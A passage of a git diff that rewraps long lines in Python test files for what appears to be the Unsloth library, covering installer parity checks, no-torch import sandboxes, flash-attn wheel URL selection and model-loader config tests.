     def test_python_known_211_versions_is_only_rocm72(self):
         text = STACK_PY.read_text(encoding = "utf-8")
         assert "_ROCM_KNOWN_TORCH211_VERSIONS" in text
         # The frozenset literal is exactly {(7, 2)}.
-        m = re.search(r"_ROCM_KNOWN_TORCH211_VERSIONS[^=]*=\s*frozenset\(\{([^}]*)\}\)", text)
-        assert m is not None, "install_python_stack.py must define _ROCM_KNOWN_TORCH211_VERSIONS"
+        m = re.search(
+            r"_ROCM_KNOWN_TORCH211_VERSIONS[^=]*=\s*frozenset\(\{([^}]*)\}\)", text
+        )
+        assert (
+            m is not None
+        ), "install_python_stack.py must define _ROCM_KNOWN_TORCH211_VERSIONS"
         assert "(7, 2)" in m.group(1)
         assert "7, 3" not in m.group(1) and "7, 1" not in m.group(1)
 
@@ -377,7 +389,8 @@ class TestKnown211SetParity:
         assert "Test-RocmKnown211Version" in text
         # The predicate is Major -eq 7 -and Minor -eq 2 (only rocm7.2).
         assert re.search(
-            r"Test-RocmKnown211Version[\s\S]{0,400}\$Major -eq 7 -and \$Minor -eq 2", text
+            r"Test-RocmKnown211Version[\s\S]{0,400}\$Major -eq 7 -and \$Minor -eq 2",
+            text,
         ), "setup.ps1 Test-RocmKnown211Version must accept only rocm7.2"
 
     def test_install_ps1_pin_floor_is_only_rocm72(self):
@@ -538,7 +551,8 @@ class TestPinnedIndexClearsUvEnvParity:
     def test_install_sh_clears_uv_index_vars(self):
         text = INSTALL_SH.read_text(encoding = "utf-8")
         assert (
-            "env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL" in text
+            "env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL"
+            in text
         ), "install.sh run_install_cmd must clear the uv index vars for --default-index installs"
 
     def test_install_ps1_clears_uv_index_vars(self):
@@ -558,14 +572,18 @@ class TestPinnedIndexClearsUvEnvParity:
             "installs via _install_env_for_cmd (parity with install.sh #6898)"
         )
         for var in self.UV_VARS:
-            assert var in text, f"install_python_stack.py must clear {var} for pinned installs"
+            assert (
+                var in text
+            ), f"install_python_stack.py must clear {var} for pinned installs"
 
     def test_all_installers_clear_uv_torch_backend(self):
         """uv's torch backend redirects torch resolution to its own per-backend
         index even against an explicit pin, so every installer's pinned-install
         scrub must clear UV_TORCH_BACKEND too."""
         sh = INSTALL_SH.read_text(encoding = "utf-8")
-        assert "-u UV_TORCH_BACKEND" in sh, "install.sh pinned scrub must clear UV_TORCH_BACKEND"
+        assert (
+            "-u UV_TORCH_BACKEND" in sh
+        ), "install.sh pinned scrub must clear UV_TORCH_BACKEND"
         for path in (INSTALL_PS1, SETUP_PS1):
             text = path.read_text(encoding = "utf-8")
             assert (
@@ -696,7 +714,9 @@ class TestPinnedIndexClearsUvEnvParity:
         ), "setup.ps1's CPU branch must install via the spec variables"
         # The ceilings mirror the Python repair spec exactly.
         stack = STACK_PY.read_text(encoding = "utf-8")
-        spec_block = re.search(r"_CUDA_TORCH_PKG_SPEC[^(]*\(\s*(.*?)\)", stack, re.DOTALL)
+        spec_block = re.search(
+            r"_CUDA_TORCH_PKG_SPEC[^(]*\(\s*(.*?)\)", stack, re.DOTALL
+        )
         assert spec_block and '"torch>=2.4,<2.12.0"' in spec_block.group(1), (
             "_CPU_TORCH_PKG_SPEC (via _CUDA_TORCH_PKG_SPEC) must keep the torch<2.12 "
             "ceiling the setup.ps1 pinned CPU branch mirrors"
@@ -730,17 +750,23 @@ class TestIndexPathSlashTrimParity:
     def test_helper_defined_in_all_installers(self):
         assert "def _trim_index_path_slashes(" in STACK_PY.read_text(encoding = "utf-8")
         assert "_trim_index_path_slashes()" in INSTALL_SH.read_text(encoding = "utf-8")
-        assert "function Trim-IndexPathSlashes" in INSTALL_PS1.read_text(encoding = "utf-8")
+        assert "function Trim-IndexPathSlashes" in INSTALL_PS1.read_text(
+            encoding = "utf-8"
+        )
         assert "function Trim-IndexPathSlashes" in SETUP_PS1.read_text(encoding = "utf-8")
 
     def test_helper_wired_into_override_in_all_installers(self):
         assert "_trim_index_path_slashes(url)" in STACK_PY.read_text(encoding = "utf-8")
-        assert '_url=$(_trim_index_path_slashes "$_url")' in INSTALL_SH.read_text(encoding = "utf-8")
-        assert "Trim-IndexPathSlashes $env:UNSLOTH_TORCH_INDEX_URL" in INSTALL_PS1.read_text(
+        assert '_url=$(_trim_index_path_slashes "$_url")' in INSTALL_SH.read_text(
             encoding = "utf-8"
         )
-        assert "Trim-IndexPathSlashes $env:UNSLOTH_TORCH_INDEX_URL" in SETUP_PS1.read_text(
-            encoding = "utf-8"
+        assert (
+            "Trim-IndexPathSlashes $env:UNSLOTH_TORCH_INDEX_URL"
+            in INSTALL_PS1.read_text(encoding = "utf-8")
+        )
+        assert (
+            "Trim-IndexPathSlashes $env:UNSLOTH_TORCH_INDEX_URL"
+            in SETUP_PS1.read_text(encoding = "utf-8")
         )
 
 
@@ -752,12 +778,16 @@ class TestInstallOutputRedactionParity:
     def test_helper_defined_in_all_installers(self):
         assert "def _redact_install_output(" in STACK_PY.read_text(encoding = "utf-8")
         assert "_redact_install_output()" in INSTALL_SH.read_text(encoding = "utf-8")
-        assert "function Redact-InstallOutput" in INSTALL_PS1.read_text(encoding = "utf-8")
+        assert "function Redact-InstallOutput" in INSTALL_PS1.read_text(
+            encoding = "utf-8"
+        )
         assert "function Redact-InstallOutput" in SETUP_PS1.read_text(encoding = "utf-8")
 
     def test_helper_wired_into_failure_print(self):
         # install.sh dumps the captured log through the redactor on failure.
-        assert '_redact_install_output "$_log"' in INSTALL_SH.read_text(encoding = "utf-8")
+        assert '_redact_install_output "$_log"' in INSTALL_SH.read_text(
+            encoding = "utf-8"
+        )
         # Both ps1 installers redact the captured $output before Write-Host on non-zero exit.
         assert (
             "Write-Host (Redact-InstallOutput $output) -ForegroundColor Red"
diff --git a/tests/python/test_e2e_no_torch_sandbox.py b/tests/python/test_e2e_no_torch_sandbox.py
index bb61af462d..dba2005209 100644
--- a/tests/python/test_e2e_no_torch_sandbox.py
+++ b/tests/python/test_e2e_no_torch_sandbox.py
@@ -199,8 +199,12 @@ class TestBeforeAfterImportChain:
             exec(source)
         """)
         result = _run_in_sandbox(no_torch_venv, code)
-        assert result.returncode != 0, "BEFORE chat_templates.py should crash without torch"
-        assert b"ModuleNotFoundError" in result.stderr or b"ImportError" in result.stderr
+        assert (
+            result.returncode != 0
+        ), "BEFORE chat_templates.py should crash without torch"
+        assert (
+            b"ModuleNotFoundError" in result.stderr or b"ImportError" in result.stderr
+        )
 
     def test_before_data_collators_crashes(self, no_torch_venv, sandbox_dir):
         """BEFORE: data_collators.py with top-level 'import torch' crashes."""
@@ -218,8 +222,12 @@ class TestBeforeAfterImportChain:
             exec(open({str(before_file)!r}).read())
         """)
         result = _run_in_sandbox(no_torch_venv, code)
-        assert result.returncode != 0, "BEFORE data_collators.py should crash without torch"
-        assert b"ModuleNotFoundError" in result.stderr or b"ImportError" in result.stderr
+        assert (
+            result.returncode != 0
+        ), "BEFORE data_collators.py should crash without torch"
+        assert (
+            b"ModuleNotFoundError" in result.stderr or b"ImportError" in result.stderr
+        )
 
     def test_before_full_import_chain_crashes(self, no_torch_venv, sandbox_dir):
         """BEFORE: full utils/datasets/ package with top-level torch imports crashes."""
@@ -263,8 +271,12 @@ class TestBeforeAfterImportChain:
             from utils.datasets import detect_dataset_format
         """)
         result = _run_in_sandbox(no_torch_venv, code)
-        assert result.returncode != 0, "BEFORE full import chain should crash without torch"
-        assert b"ModuleNotFoundError" in result.stderr or b"ImportError" in result.stderr
+        assert (
+            result.returncode != 0
+        ), "BEFORE full import chain should crash without torch"
+        assert (
+            b"ModuleNotFoundError" in result.stderr or b"ImportError" in result.stderr
+        )
 
     # -- AFTER: succeeds --
 
@@ -478,7 +490,9 @@ class TestEdgeCasesBrokenTorch:
             print("OK: data_collators works despite broken torch on sys.path")
         """)
         result = _run_in_sandbox(no_torch_venv, code)
-        assert result.returncode == 0, f"Should work with broken torch:\n{result.stderr.decode()}"
+        assert (
+            result.returncode == 0
+        ), f"Should work with broken torch:\n{result.stderr.decode()}"
         assert b"OK:" in result.stdout
 
     def test_torch_import_error_hardware_fallback(self, no_torch_venv, sandbox_dir):
@@ -538,10 +552,14 @@ class TestEdgeCasesBrokenTorch:
             print("OK: detect_hardware returned CPU with fake torch (no CUDA)")
         """)
         result = _run_in_sandbox(no_torch_venv, code)
-        assert result.returncode == 0, f"Should fall back to CPU:\n{result.stderr.decode()}"
+        assert (
+            result.returncode == 0
+        ), f"Should fall back to CPU:\n{result.stderr.decode()}"
         assert b"OK:" in result.stdout
 
-    def test_lazy_torch_fails_at_call_time_not_import_time(self, no_torch_venv, sandbox_dir):
+    def test_lazy_torch_fails_at_call_time_not_import_time(
+        self, no_torch_venv, sandbox_dir
+    ):
         """apply_chat_template_to_dataset imports without torch; the lazy import fails at call time, not import time."""
         _write_loggers_stub(sandbox_dir)
 
@@ -586,7 +604,9 @@ class TestEdgeCasesBrokenTorch:
                 print("OK: call succeeded (unexpected but not a crash)")
         """)
         result = _run_in_sandbox(no_torch_venv, code)
-        assert result.returncode == 0, f"Should not crash at import time:\n{result.stderr.decode()}"
+        assert (
+            result.returncode == 0
+        ), f"Should not crash at import time:\n{result.stderr.decode()}"
         assert b"OK: import succeeded" in result.stdout
 
 
@@ -867,7 +887,9 @@ class TestInstallPythonStackFiltering:
         result_path = ips._filter_requirements(extras, ips.NO_TORCH_SKIP_PACKAGES)
         filtered = Path(result_path).read_text(encoding = "utf-8").lower()
         lines = [
-            l.strip() for l in filtered.splitlines() if l.strip() and not l.strip().startswith("#")
+            l.strip()
+            for l in filtered.splitlines()
+            if l.strip() and not l.strip().startswith("#")
         ]
 
         for pkg in ips.NO_TORCH_SKIP_PACKAGES:
@@ -925,7 +947,9 @@ class TestInstallPythonStackFiltering:
 
         source = Path(ips.__file__).read_text(encoding = "utf-8")
 
-        assert "if NO_TORCH:" in source, "NO_TORCH guard not found in install_python_stack.py"
+        assert (
+            "if NO_TORCH:" in source
+        ), "NO_TORCH guard not found in install_python_stack.py"
 
         # macOS guard for triton
         assert (
@@ -1016,7 +1040,9 @@ class TestLiveServerStartup:
         for _ in range(30):
             time.sleep(1)
             try:
-                resp = urllib.request.urlopen(f"http://127.0.0.1:{port}/api/health", timeout = 2)
+                resp = urllib.request.urlopen(
+                    f"http://127.0.0.1:{port}/api/health", timeout = 2
+                )
                 if resp.status == 200:
                     ready = True
                     break
@@ -1039,8 +1065,12 @@ class TestLiveServerStartup:
                     capture_output = True,
                     timeout = 300,
                 )
-            server_output = stdout.decode(errors = "replace") + stderr.decode(errors = "replace")
-            pytest.skip(f"Server failed to start within 30 seconds. Output:\n{server_output}")
+            server_output = stdout.decode(errors = "replace") + stderr.decode(
+                errors = "replace"
+            )
+            pytest.skip(
+                f"Server failed to start within 30 seconds. Output:\n{server_output}"
+            )
 
         yield proc, port
 
@@ -1084,7 +1114,9 @@ class TestLiveServerStartup:
         import urllib.request
 
         _, port = server_process
-        resp = urllib.request.urlopen(f"http://127.0.0.1:{port}/openapi.json", timeout = 5)
+        resp = urllib.request.urlopen(
+            f"http://127.0.0.1:{port}/openapi.json", timeout = 5
+        )
         spec = json.loads(resp.read())
         assert (
             len(spec.get("paths", {})) >= 20
diff --git a/tests/python/test_fast_language_model_text_only.py b/tests/python/test_fast_language_model_text_only.py
index fcdeb49bc3..358ea4c811 100644
--- a/tests/python/test_fast_language_model_text_only.py
+++ b/tests/python/test_fast_language_model_text_only.py
@@ -125,7 +125,9 @@ def test_fast_language_model_forwards_text_only_to_fast_model():
 
     # text_only defaults False (opt-in); both FastModel delegations forward it.
     text_only_default = _param_default(method, "text_only")
-    assert isinstance(text_only_default, ast.Constant) and text_only_default.value is False
+    assert (
+        isinstance(text_only_default, ast.Constant) and text_only_default.value is False
+    )
 
     fast_model_calls = [
         node
@@ -149,13 +151,16 @@ def test_fast_model_text_only_does_not_override_explicit_auto_model():
     method = _class_method(ast.parse(source), "FastModel", "from_pretrained")
 
     text_only_default = _param_default(method, "text_only")
-    assert isinstance(text_only_default, ast.Constant) and text_only_default.value is False
+    assert (
+        isinstance(text_only_default, ast.Constant) and text_only_default.value is False
+    )
 
     # load_text_only is text_only AND a check that the caller did not pass auto_model.
     def _is_guarded_bool(value):
         names = _names_in(value)
         has_none_check = any(
-            isinstance(n, ast.Compare) and any(isinstance(op, (ast.Is, ast.IsNot)) for op in n.ops)
+            isinstance(n, ast.Compare)
+            and any(isinstance(op, (ast.Is, ast.IsNot)) for op in n.ops)
             for n in ast.walk(value)
         )
         return "text_only" in names and "auto_model" in names and has_none_check
@@ -191,7 +196,9 @@ def test_fast_base_model_text_only_bypasses_vision_auto_model():
     method = _class_method(ast.parse(source), "FastBaseModel", "from_pretrained")
 
     text_only_default = _param_default(method, "text_only")
-    assert isinstance(text_only_default, ast.Constant) and text_only_default.value is False
+    assert (
+        isinstance(text_only_default, ast.Constant) and text_only_default.value is False
+    )
 
     assert _assigns_name(
         method,
@@ -317,7 +324,9 @@ def test_text_only_key_mapping_targets_published_prefixes():
     # (on 4.x base_model_prefix handles it and a mapping hurts).
     transformers = pytest.importorskip("transformers")
     get_key_mapping = _load_util_func("_get_text_only_key_mapping")
-    mapping = get_key_mapping(transformers.Gemma3Config(), transformers.Gemma3TextConfig())
+    mapping = get_key_mapping(
+        transformers.Gemma3Config(), transformers.Gemma3TextConfig()
+    )
     if int(transformers.__version__.split(".")[0]) < 5:
         assert mapping is None
     else:
diff --git a/tests/python/test_fast_model_config_passthrough.py b/tests/python/test_fast_model_config_passthrough.py
index b2ba3d2eef..35bdb6b619 100644
--- a/tests/python/test_fast_model_config_passthrough.py
+++ b/tests/python/test_fast_model_config_passthrough.py
@@ -29,7 +29,8 @@ def _assigns_from_kwargs_pop(method, target_name, key_name):
         if not isinstance(node, ast.Assign):
             continue
         if not any(
-            isinstance(target, ast.Name) and target.id == target_name for target in node.targets
+            isinstance(target, ast.Name) and target.id == target_name
+            for target in node.targets
         ):
             continue
         value = node.value
@@ -50,7 +51,9 @@ def _assigns_from_kwargs_pop(method, target_name, key_name):
 
 def _calls_name(method, name):
     return any(
-        isinstance(node, ast.Call) and isinstance(node.func, ast.Name) and node.func.id == name
+        isinstance(node, ast.Call)
+        and isinstance(node.func, ast.Name)
+        and node.func.id == name
         for node in ast.walk(method)
     )
 
@@ -130,7 +133,9 @@ def test_fast_model_uses_user_config_num_labels_for_task_model_selection():
 def test_fast_model_captures_user_config_num_labels_before_text_only_switch():
     source = _source(LOADER_PATH)
 
-    fallback = source.index("task_config_attrs = _get_user_task_config_attrs(user_config)")
+    fallback = source.index(
+        "task_config_attrs = _get_user_task_config_attrs(user_config)"
+    )
     text_only_switch = source.index("model_config = text_config")
 
     assert fallback < text_only_switch
diff --git a/tests/python/test_fast_sentence_transformer_embedding_parity.py b/tests/python/test_fast_sentence_transformer_embedding_parity.py
index 252d4486a5..02365cbdc2 100644
--- a/tests/python/test_fast_sentence_transformer_embedding_parity.py
+++ b/tests/python/test_fast_sentence_transformer_embedding_parity.py
@@ -30,9 +30,13 @@ def test_transformer_load_signature_supports_unsloth_kwargs():
         "unsloth.models.sentence_transformer._create_transformer_module depends on it."
     )
     params = inspect.signature(load).parameters
-    accepts_var_kw = any(p.kind is inspect.Parameter.VAR_KEYWORD for p in params.values())
+    accepts_var_kw = any(
+        p.kind is inspect.Parameter.VAR_KEYWORD for p in params.values()
+    )
     # Mirror _create_transformer_module's hub_capable gate.
-    hub_capable = accepts_var_kw or any(k in params for k in ("token", "cache_folder", "revision"))
+    hub_capable = accepts_var_kw or any(
+        k in params for k in ("token", "cache_folder", "revision")
+    )
     if not hub_capable:
         pytest.skip(
             "legacy Transformer.load(input_path); production path falls back to Transformer(...)"
@@ -71,7 +75,9 @@ def test_fast_sentence_transformer_matches_stock_st():
 
     torch = pytest.importorskip("torch")
     if not torch.cuda.is_available():
-        pytest.skip("FastSentenceTransformer requires CUDA; skipping on CPU-only runner")
+        pytest.skip(
+            "FastSentenceTransformer requires CUDA; skipping on CPU-only runner"
+        )
     np = pytest.importorskip("numpy")
     pytest.importorskip("sentence_transformers")
     from sentence_transformers import SentenceTransformer
@@ -85,7 +91,9 @@ def test_fast_sentence_transformer_matches_stock_st():
 
     # Control FIRST, before importing unsloth, so its global import patches never
     # touch the stock reference (mirrors the issue's "restart runtime" repro).
-    ctrl = SentenceTransformer(model_id, device = device, model_kwargs = {"torch_dtype": dtype})
+    ctrl = SentenceTransformer(
+        model_id, device = device, model_kwargs = {"torch_dtype": dtype}
+    )
     ctrl.max_seq_length = max_seq_length
     ctrl_ids = ctrl.tokenize([texts[0]])["input_ids"][0].tolist()
     ctrl_emb = np.asarray(
diff --git a/tests/python/test_fast_sentence_transformer_redirect_lifecycle.py b/tests/python/test_fast_sentence_transformer_redirect_lifecycle.py
index 2e12a43228..816d108230 100644
--- a/tests/python/test_fast_sentence_transformer_redirect_lifecycle.py
+++ b/tests/python/test_fast_sentence_transformer_redirect_lifecycle.py
@@ -122,10 +122,18 @@ def _build_driver(transformer_class):
             return model if is_requested_model_name(a, kw) else original_model(*a, **kw)
 
         def return_existing_tokenizer(*a, **kw):
-            return tokenizer if is_requested_model_name(a, kw) else original_tokenizer(*a, **kw)
+            return (
+                tokenizer
+                if is_requested_model_name(a, kw)
+                else original_tokenizer(*a, **kw)
+            )
 
         def return_existing_processor(*a, **kw):
-            return tokenizer if is_requested_model_name(a, kw) else original_processor(*a, **kw)
+            return (
+                tokenizer
+                if is_requested_model_name(a, kw)
+                else original_processor(*a, **kw)
+            )
 
         try:
             AutoModel.from_pretrained = return_existing_model
diff --git a/tests/python/test_flash_attn_install_python_stack.py b/tests/python/test_flash_attn_install_python_stack.py
index bf3ed57788..8d5e767e1d 100644
--- a/tests/python/test_flash_attn_install_python_stack.py
+++ b/tests/python/test_flash_attn_install_python_stack.py
@@ -41,7 +41,10 @@ class TestPrebuiltWheelTorchMapping:
             },
         )
         assert url is not None
-        assert "causal_conv1d-1.6.1+cu13torch2.10cxx11abiTRUE-cp313-cp313-linux_x86_64.whl" in url
+        assert (
+            "causal_conv1d-1.6.1+cu13torch2.10cxx11abiTRUE-cp313-cp313-linux_x86_64.whl"
+            in url
+        )
 
 
 class TestFlashAttnWheelSelection:
@@ -67,7 +70,10 @@ class TestFlashAttnWheelSelection:
             }
         )
         assert url is not None
-        assert "flash_attn-2.8.1+cu13torch2.10cxx11abiTRUE-cp313-cp313-linux_x86_64.whl" in url
+        assert (
+            "flash_attn-2.8.1+cu13torch2.10cxx11abiTRUE-cp313-cp313-linux_x86_64.whl"
+            in url
+        )
 
     def test_exact_wheel_url_uses_full_env_tuple(self):
         url = ips._build_flash_attn_wheel_url(
@@ -81,7 +87,10 @@ class TestFlashAttnWheelSelection:
         )
         assert url is not None
         assert "v2.8.1" in url
-        assert "flash_attn-2.8.1+cu12torch2.10cxx11abiTRUE-cp313-cp313-linux_x86_64.whl" in url
+        assert (
+            "flash_attn-2.8.1+cu12torch2.10cxx11abiTRUE-cp313-cp313-linux_x86_64.whl"
+            in url
+        )
 
     def test_missing_cuda_major_disables_wheel_lookup(self):
         assert (
@@ -264,7 +273,10 @@ class TestEnsureFlashAttn:
             ips._ensure_flash_attn()
 
         mock_install_wheel.assert_not_called()
-        assert ("warning", "No published flash-attn prebuilt wheel found") in step_messages
+        assert (
+            "warning",
+            "No published flash-attn prebuilt wheel found",
+        ) in step_messages
 
     def test_skip_env_disables_setup_install(self):
         with (
@@ -322,7 +334,9 @@ class TestInstallPythonStackFlashAttnIntegration:
             mock.patch("subprocess.run", side_effect = fake_run),
             mock.patch.object(ips, "_has_usable_nvidia_gpu", return_value = False),
             mock.patch.object(ips, "_has_rocm_gpu", return_value = False),
-            mock.patch.object(ips, "LOCAL_DD_UNSTRUCTURED_PLUGIN", Path("/fake/plugin")),
+            mock.patch.object(
+                ips, "LOCAL_DD_UNSTRUCTURED_PLUGIN", Path("/fake/plugin")
+            ),
             mock.patch("pathlib.Path.is_dir", return_value = True),
             mock.patch("pathlib.Path.is_file", return_value = True),
             mock.patch.dict(os.environ, {"SKIP_STUDIO_BASE": "1"}, clear = False),
diff --git a/tests/python/test_get_lora_parameters_bias_fp8_block_size.py b/tests/python/test_get_lora_parameters_bias_fp8_block_size.py
index 835ad19542..72312320d7 100644
--- a/tests/python/test_get_lora_parameters_bias_fp8_block_size.py
+++ b/tests/python/test_get_lora_parameters_bias_fp8_block_size.py
@@ -9,7 +9,9 @@ def _load_function(name):
     source = Path(__file__).parents[2] / "unsloth" / "kernels" / "utils.py"
     tree = ast.parse(source.read_text(encoding = "utf-8"))
     funcs = [
-        node for node in ast.walk(tree) if isinstance(node, ast.FunctionDef) and node.name == name
+        node
+        for node in ast.walk(tree)
+        if isinstance(node, ast.FunctionDef) and node.name == name
     ]
     assert len(funcs) == 1, (name, funcs)
     namespace = {"getattr": getattr, "_FP8_WEIGHT_DTYPES": ()}
diff --git a/tests/python/test_get_lora_parameters_fp8_block_size.py b/tests/python/test_get_lora_parameters_fp8_block_size.py
index f5f1359125..fdc58f80e7 100644
--- a/tests/python/test_get_lora_parameters_fp8_block_size.py
+++ b/tests/python/test_get_lora_parameters_fp8_block_size.py
@@ -9,7 +9,9 @@ def _load_function(name):
     source = Path(__file__).parents[2] / "unsloth" / "kernels" / "utils.py"
     tree = ast.parse(source.read_text(encoding = "utf-8"))
     funcs = [
-        node for node in ast.walk(tree) if isinstance(node, ast.FunctionDef) and node.name == name
+        node
+        for node in ast.walk(tree)
+        if isinstance(node, ast.FunctionDef) and node.name == name
     ]
     assert len(funcs) == 1, (name, funcs)
     namespace = {"getattr": getattr, "hasattr": hasattr, "_FP8_WEIGHT_DTYPES": ()}
diff --git a/tests/python/test_gpu_init_ldconfig_guard.py b/tests/python/test_gpu_init_ldconfig_guard.py
index 248bb84faa..081a6132b4 100644
--- a/tests/python/test_gpu_init_ldconfig_guard.py
+++ b/tests/python/test_gpu_init_ldconfig_guard.py
@@ -19,7 +19,9 @@ def _find_geteuid_guard(tree: ast.AST):
 def test_gpu_init_has_geteuid_guard():
     tree = ast.parse(GPU_INIT.read_text())
     guard = _find_geteuid_guard(tree)
-    assert guard is not None, "_gpu_init.py must guard ldconfig recovery on os.geteuid()"
+    assert (
+        guard is not None
+    ), "_gpu_init.py must guard ldconfig recovery on os.geteuid()"
 
 
 def test_ldconfig_calls_only_inside_geteuid_guard():
diff --git a/tests/python/test_grpo_ddp_model_config.py b/tests/python/test_grpo_ddp_model_config.py
index 5af31f65b8..9187f7e659 100644
--- a/tests/python/test_grpo_ddp_model_config.py
+++ b/tests/python/test_grpo_ddp_model_config.py
@@ -4,7 +4,9 @@ from __future__ import annotations
 
 import os
 
-REPO_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir, os.pardir))
+REPO_ROOT = os.path.abspath(
+    os.path.join(os.path.dirname(__file__), os.pardir, os.pardir)
+)
 SOURCE_PATH = os.path.join(REPO_ROOT, "unsloth", "models", "rl_replacements.py")
 
 
@@ -20,7 +22,9 @@ def test_grpo_logit_scaling_uses_model_config_helper():
     assert 'getattr(model.module, "config", None)' in src
     # Softcapping takes the model and tolerates a missing config.
     assert "logit_softcapping = _unsloth_get_final_logit_softcapping(model)" in src
-    assert "if config is None:" in src.split("def _unsloth_get_final_logit_softcapping")[1]
+    assert (
+        "if config is None:" in src.split("def _unsloth_get_final_logit_softcapping")[1]
+    )
     # Logit scale/divide read through the unwrapped config, not bare model.config.
     assert 'getattr(model_config, "logit_scale", 0)' in src
     assert 'getattr(model_config, "logits_scaling", 0)' in src
diff --git a/tests/python/test_install_python_stack.py b/tests/python/test_install_python_stack.py
index 3a12e53f95..e10fa4d798 100644
--- a/tests/python/test_install_python_stack.py
+++ b/tests/python/test_install_python_stack.py
@@ -61,7 +61,9 @@ class TestBuildUvCmdTorchBackend:
         torch+cpu), defeating the pin."""
         for pin_flag in ("--index-url", "--default-index"):
             with mock.patch.dict(os.environ, {"UV_TORCH_BACKEND": "cpu"}):
-                cmd = self._call(("torch", pin_flag, "https://download.pytorch.org/whl/cu128"))
+                cmd = self._call(
+                    ("torch", pin_flag, "https://download.pytorch.org/whl/cu128")
+                )
             assert not any(
                 a.startswith("--torch-backend") for a in cmd
             ), f"{pin_flag} command must not carry --torch-backend, got: {cmd}"
@@ -232,12 +234,16 @@ class TestPinnedIndexClearsUvEnv:
         ):
             env = ips._install_env_for_cmd(cmd)
         assert env is not None
-        assert env.get("PATH_SENTINEL_XYZ") == "keepme", "only uv index vars are removed"
+        assert (
+            env.get("PATH_SENTINEL_XYZ") == "keepme"
+        ), "only uv index vars are removed"
 
     def test_pinned_cmd_strips_pip_extra_index_url(self):
         """PIP_EXTRA_INDEX_URL is stripped for pinned commands so the pip
         fallback cannot satisfy torch from an inherited extra index."""
-        with mock.patch.dict(os.environ, {"PIP_EXTRA_INDEX_URL": "https://mirror/simple"}):
+        with mock.patch.dict(
+            os.environ, {"PIP_EXTRA_INDEX_URL": "https://mirror/simple"}
+        ):
             env = ips._install_env_for_cmd(
                 ["pip", "install", "torch", "--index-url", "https://x/cu128"]
             )
diff --git a/tests/python/test_mlx_public_trainer_api.py b/tests/python/test_mlx_public_trainer_api.py
index 89f304c76d..ff5975dff6 100644
--- a/tests/python/test_mlx_public_trainer_api.py
+++ b/tests/python/test_mlx_public_trainer_api.py
@@ -183,7 +183,9 @@ def test_mlx_clear_gpu_memory_uses_metal_fallback(monkeypatch):
     metal = getattr(mx, "metal", None) or type("Metal", (), {})()
     monkeypatch.delattr(mx, "clear_cache", raising = False)
     monkeypatch.setattr(mx, "metal", metal, raising = False)
-    monkeypatch.setattr(metal, "clear_cache", lambda: called.append("metal"), raising = False)
+    monkeypatch.setattr(
+        metal, "clear_cache", lambda: called.append("metal"), raising = False
+    )
 
     unsloth.clear_gpu_memory()
 
@@ -920,7 +922,9 @@ def test_mlx_compatibility_shims_are_installed():
     assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments)
     assert trainer_module.UnslothTrainer is unsloth.UnslothTrainer
     assert trainer_module.UnslothVisionDataCollator is unsloth.UnslothVisionDataCollator
-    assert chat_templates.train_on_responses_only is dataset_utils.train_on_responses_only
+    assert (
+        chat_templates.train_on_responses_only is dataset_utils.train_on_responses_only
+    )
     assert callable(unsloth.train_on_responses_only)
 
 
diff --git a/tests/python/test_no_torch_filtering.py b/tests/python/test_no_torch_filtering.py
index 732c1b7432..25e1d2c0c8 100644
--- a/tests/python/test_no_torch_filtering.py
+++ b/tests/python/test_no_torch_filtering.py
@@ -146,7 +146,9 @@ class TestFilterRequirements:
         )
         # Filter Windows packages, then NO_TORCH packages.
         intermediate = ips._filter_requirements(req, ips.WINDOWS_SKIP_PACKAGES)
-        result = ips._filter_requirements(Path(intermediate), ips.NO_TORCH_SKIP_PACKAGES)
+        result = ips._filter_requirements(
+            Path(intermediate), ips.NO_TORCH_SKIP_PACKAGES
+        )
         lines = Path(result).read_text(encoding = "utf-8").splitlines()
         non_blank = [l.strip() for l in lines if l.strip()]
         assert non_blank == [
@@ -165,7 +167,9 @@ class TestFilterRequirements:
         result = ips._filter_requirements(req, ips.NO_TORCH_SKIP_PACKAGES)
         lines = Path(result).read_text(encoding = "utf-8").splitlines()
         non_blank = [l.strip() for l in lines if l.strip()]
-        assert non_blank == ["numpy"], f"VCS URL line should be filtered, got: {non_blank}"
+        assert non_blank == [
+            "numpy"
+        ], f"VCS URL line should be filtered, got: {non_blank}"
 
     def test_env_marker_line_filtered(self, tmp_path):
         """Package lines with env markers are still filtered by prefix."""
@@ -179,7 +183,9 @@ class TestFilterRequirements:
         result = ips._filter_requirements(req, ips.NO_TORCH_SKIP_PACKAGES)
         lines = Path(result).read_text(encoding = "utf-8").splitlines()
         non_blank = [l.strip() for l in lines if l.strip()]
-        assert non_blank == ["numpy"], f"Env marker line should be filtered, got: {non_blank}"
+        assert non_blank == [
+            "numpy"
+        ], f"Env marker line should be filtered, got: {non_blank}"
 
     def test_git_plus_url_not_over_matched(self, tmp_path):
         """A git+ URL whose path contains a skip package name but does NOT start with it."""
@@ -231,7 +237,9 @@ class TestRealRequirementsFiltering:
         expected = [
             l
             for l in original
-            if not any(l.strip().lower().startswith(p) for p in ips.NO_TORCH_SKIP_PACKAGES)
+            if not any(
+                l.strip().lower().startswith(p) for p in ips.NO_TORCH_SKIP_PACKAGES
+            )
         ]
         assert filtered == expected, (
             f"Filtered extras.txt should match expected.\n"
@@ -241,7 +249,9 @@ class TestRealRequirementsFiltering:
 
     def test_extras_no_deps_txt_torchcodec_and_dlpack_removed(self):
         """extras-no-deps.txt: torchcodec and torch-c-dlpack-ext must be removed."""
-        result = ips._filter_requirements(EXTRAS_NO_DEPS_TXT, ips.NO_TORCH_SKIP_PACKAGES)
+        result = ips._filter_requirements(
+            EXTRAS_NO_DEPS_TXT, ips.NO_TORCH_SKIP_PACKAGES
+        )
         filtered = self._non_blank_non_comment(Path(result))
         original = self._non_blank_non_comment(EXTRAS_NO_DEPS_TXT)
 
@@ -253,7 +263,9 @@ class TestRealRequirementsFiltering:
         expected = [
             l
             for l in original
-            if not any(l.strip().lower().startswith(p) for p in ips.NO_TORCH_SKIP_PACKAGES)
+            if not any(
+                l.strip().lower().startswith(p) for p in ips.NO_TORCH_SKIP_PACKAGES
+            )
         ]
         assert filtered == expected
 
@@ -269,7 +281,9 @@ class TestRealRequirementsFiltering:
 
     def test_extras_no_deps_txt_trl_preserved(self):
         """trl should survive NO_TORCH filtering in extras-no-deps.txt."""
